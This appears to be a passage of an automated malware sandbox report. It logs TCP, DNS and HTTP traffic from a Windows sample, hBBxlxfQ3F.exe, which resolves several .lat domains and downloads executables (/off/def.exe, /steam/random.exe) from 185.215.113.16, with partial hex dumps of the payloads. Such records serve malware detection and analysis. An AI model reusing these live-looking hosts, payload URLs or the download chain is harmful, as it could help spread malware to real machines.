Dec 20, 2024 17:29:48.391244888 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.391547918 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.391563892 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.391632080 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.392422915 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.392522097 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.392648935 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.393383026 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.393461943 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.393562078 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.394088984 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.394105911 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.394153118 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.394985914 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.395109892 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.395473957 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.398731947 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.398751020 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.398858070 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.422446966 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.422585964 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.422743082 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.422914982 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.422957897 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.422983885 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.423916101 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.424196005 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.424336910 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.424716949 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.424732924 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.424779892 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.424824953 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.424824953 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.425251961 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.425523043 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.426161051 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.426177979 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.426225901 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.426248074 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.428683043 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.430402994 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.430418015 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.430433989 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.430449009 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.430463076 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.430468082 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.430478096 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.430531979 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.430531979 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.431458950 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.431476116 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.431571960 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.431596041 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.431648016 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.432282925 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.433257103 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.433283091 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.433352947 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.433729887 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.433815956 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.434060097 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.434675932 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.434828043 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.435329914 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.435661077 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.435676098 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.435689926 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.435725927 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.435759068 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.436572075 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.437160015 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.437262058 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.437625885 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.437938929 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.438255072 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.438318968 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.439182043 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.439198017 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.439218044 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.439337015 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.439337015 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.440263987 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.440417051 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.440469027 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.440869093 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.441046000 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.441114902 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.441667080 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.442281008 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.442725897 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.442797899 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.443017006 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.443075895 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.443334103 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.443660021 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.444278955 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.444349051 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.444426060 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.444504023 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.445060968 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.445941925 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.445959091 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.445980072 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.445988894 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.446029902 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.446779966 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.447096109 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.447721958 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.447737932 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.447803974 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.479916096 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.479938984 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.480098009 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.480314970 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.480631113 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.481089115 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.481419086 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.481746912 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.482037067 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.482080936 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.482922077 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.482939005 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.482990980 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.483062029 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.483135939 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.483865023 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.484201908 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.484554052 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.484642029 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.484663010 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.485572100 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.485718966 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.485908985 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.485995054 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.486371994 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.486512899 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.487255096 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.487325907 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.487411976 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.487440109 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.487457991 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.487468004 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.487979889 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.488017082 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.488037109 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.488075972 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.488739014 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.489085913 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.489183903 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.489675045 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.543629885 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.580522060 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.580559015 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.580732107 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.580842018 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.581108093 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.581742048 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.581851006 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.581878901 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.581919909 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.582798004 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.583307028 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.583671093 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.583687067 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.583702087 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.583786011 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.584765911 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.584780931 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.584918022 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.585417032 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.585473061 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.585500002 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.586242914 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.586390972 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.586534023 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.587227106 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.587286949 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.587336063 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.588030100 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:48.588083029 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:48.739568949 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:52.861532927 CET	49720	80	192.168.2.9	185.215.113.206
Dec 20, 2024 17:29:52.981312037 CET	80	49720	185.215.113.206	192.168.2.9
Dec 20, 2024 17:29:52.984702110 CET	49720	80	192.168.2.9	185.215.113.206
Dec 20, 2024 17:29:52.984946012 CET	49720	80	192.168.2.9	185.215.113.206
Dec 20, 2024 17:29:53.105367899 CET	80	49720	185.215.113.206	192.168.2.9
Dec 20, 2024 17:29:54.331654072 CET	80	49720	185.215.113.206	192.168.2.9
Dec 20, 2024 17:29:54.331718922 CET	49720	80	192.168.2.9	185.215.113.206
Dec 20, 2024 17:29:54.336999893 CET	49720	80	192.168.2.9	185.215.113.206
Dec 20, 2024 17:29:54.456641912 CET	80	49720	185.215.113.206	192.168.2.9
Dec 20, 2024 17:29:54.802687883 CET	80	49720	185.215.113.206	192.168.2.9
Dec 20, 2024 17:29:54.803628922 CET	49720	80	192.168.2.9	185.215.113.206
Dec 20, 2024 17:29:55.701333046 CET	49720	80	192.168.2.9	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 17:29:09.000039101 CET	65131	53	192.168.2.9	1.1.1.1
Dec 20, 2024 17:29:09.221873999 CET	53	65131	1.1.1.1	192.168.2.9
Dec 20, 2024 17:29:09.225783110 CET	54842	53	192.168.2.9	1.1.1.1
Dec 20, 2024 17:29:09.362735987 CET	53	54842	1.1.1.1	192.168.2.9
Dec 20, 2024 17:29:09.367115021 CET	64932	53	192.168.2.9	1.1.1.1
Dec 20, 2024 17:29:09.505474091 CET	53	64932	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 17:29:09.000039101 CET	192.168.2.9	1.1.1.1	0x991a	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:29:09.225783110 CET	192.168.2.9	1.1.1.1	0xf18c	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:29:09.367115021 CET	192.168.2.9	1.1.1.1	0x8624	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 17:29:09.221873999 CET	1.1.1.1	192.168.2.9	0x991a	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:29:09.362735987 CET	1.1.1.1	192.168.2.9	0xf18c	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:29:09.505474091 CET	1.1.1.1	192.168.2.9	0x8624	No error (0)	discokeyus.lat		172.67.197.170	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:29:09.505474091 CET	1.1.1.1	192.168.2.9	0x8624	No error (0)	discokeyus.lat		104.21.21.99	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discokeyus.lat

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49719	185.215.113.16	80	2000	C:\Users\user\Desktop\hBBxlxfQ3F.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:29:37.511008978 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 20, 2024 17:29:38.846324921 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:29:38 GMT Content-Type: application/octet-stream Content-Length: 2846208 Last-Modified: Fri, 20 Dec 2024 15:44:49 GMT Connection: keep-alive ETag: "676590f1-2b6e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 dc 95 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui`D @ @ @.rsrcD``@.idata f@ljmymddw**h@ajdgxuni +F+@.taggant@+"L+@
Dec 20, 2024 17:29:38.846354008 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:29:38.846366882 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:29:38.846410990 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:29:38.846429110 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:29:38.846451998 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:29:38.846841097 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:29:38.846859932 CET	1236	IN	Data Raw: 14 b6 e9 bb 20 90 8a 9b 50 97 e0 bb f8 a0 e0 bb 1e b6 ec bb 20 90 8a 81 f8 92 e0 bb 1a b0 b6 bb 20 a3 b0 be 20 f1 e0 bb 20 93 e0 bb 11 b6 9b bb 20 94 62 8f 20 9e 96 85 1f a0 94 e6 db 97 e8 15 12 95 73 93 20 9e 96 2d 04 9e e0 2b f9 a5 e0 bb 1e ca Data Ascii: P b s -+& X$C$ b s -&+&
Dec 20, 2024 17:29:38.846873045 CET	1236	IN	Data Raw: 18 90 e0 f7 1a 70 e9 81 20 8d e8 a9 19 90 e0 09 1f 88 e9 81 20 f1 ea a9 19 90 e0 45 1f 88 e9 81 20 e9 e9 ad 1f 94 e0 01 1f 42 e9 81 20 a0 97 85 20 90 e0 b0 19 88 e9 81 20 fd eb a9 19 90 e0 a7 1a 88 e9 81 20 49 e9 a9 19 90 e0 c3 24 c5 e8 81 20 f2 Data Ascii: p E B I$ $ ! W O ! ~ ! ? !&
Dec 20, 2024 17:29:38.846887112 CET	1236	IN	Data Raw: 20 05 e0 62 1e ae e0 3c 21 37 e9 81 20 25 e0 62 1e a4 e0 44 21 37 e9 81 20 15 e0 62 1e 90 e0 64 21 37 e9 bc 20 65 e0 ec 19 b5 e0 54 21 cb 97 e7 20 7d e0 f1 19 cc e0 6c 21 b2 96 fc 20 4d e0 0f 1a d7 e0 a4 21 cb 97 c6 20 4d e0 87 25 ed e0 ac 21 6d Data Ascii: b<!7 %bD!7 bd!7 eT! }l! M! M%!m Et!'!Et!6!!7 ! # ! 9 ! 7 ! J l! < b! ( g! # b! ( q! [ {!
Dec 20, 2024 17:29:38.966147900 CET	1236	IN	Data Raw: dd ef ac c4 da e5 43 fd d3 ef 5c da e7 ef 52 c1 d9 d7 e0 ce e5 ec 5a c4 e7 d1 43 cc d5 d1 5e d4 c3 d3 53 c9 da d5 ab bb d7 d3 43 c8 e1 e8 a1 c2 e5 ec 43 c7 d3 d3 57 bb d7 d1 5e d1 d9 d3 ad da e5 ec 5e ca d6 ff af cd d9 e2 a9 fe e1 ea e0 ce e5 ec Data Ascii: C\RZC^SCCW^^ZCSST^SS SS S__ZCR _^^^ZCC
Dec 20, 2024 17:29:43.684077024 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 20, 2024 17:29:44.121557951 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:29:43 GMT Content-Type: application/octet-stream Content-Length: 2883584 Last-Modified: Fri, 20 Dec 2024 15:46:44 GMT Connection: keep-alive ETag: "67659164-2c0000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 30 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 4f 00 00 04 00 00 dd 9b 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(0O@`O,@M$a$$ $h@.rsrc$x@.idata $z@ojvirhut`$^\|@ueswzroq O+@.taggant00O"+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49720	185.215.113.206	80	6624	C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:29:52.984946012 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 17:29:54.331654072 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:29:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
